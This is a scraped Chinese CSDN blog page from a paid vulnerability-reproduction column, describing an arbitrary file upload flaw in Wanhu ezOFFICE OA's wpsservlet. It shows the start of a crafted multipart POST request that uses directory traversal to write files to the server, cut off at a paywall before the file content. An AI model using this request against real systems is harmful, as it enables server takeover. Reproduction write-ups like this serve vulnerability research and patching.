万户OA-wpsservlet-任意文件上传

最新推荐文章于 2024-10-10 14:15:00 发布

今天晚上早睡觉

最新推荐文章于 2024-10-10 14:15:00 发布

阅读量124

点赞数

分类专栏：漏洞复现文章标签： web安全

本文链接：https://blog.csdn.net/weixin_43567873/article/details/136449554

版权

漏洞复现专栏收录该内容

365 篇文章 171 订阅 ¥9.90 ¥99.00

订阅专栏

超级会员免费看

本文详细介绍了万户OA中的wpsservlet任意文件上传漏洞，该漏洞允许攻击者上传任意文件并可能获取服务器控制权。复现过程包括构造数据包并访问上传文件的步骤。

摘要由CSDN通过智能技术生成

漏洞描述

万户OA（Office Automation）是一款企业级协同办公管理软件，旨在为企业提供全面的办公自动化解决方案。万户ezOFFICE wpsservlet存在任意文件上传漏洞。攻击者可以通过此漏洞上传任意文件到目标服务器，导致攻击者可获取服务器控制权限。

漏洞复现

构造上传数据包。

POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=xxxx&dir=../platform/portal/layout/&fileType=.txt HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 165
Accept-Encoding: gzip, deflate
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=803e058d60f347f7b3c17fa95228eca6

--803e058d60f347f7b3c17fa95228eca6
Content-Disposition: form-data; name

了解本专栏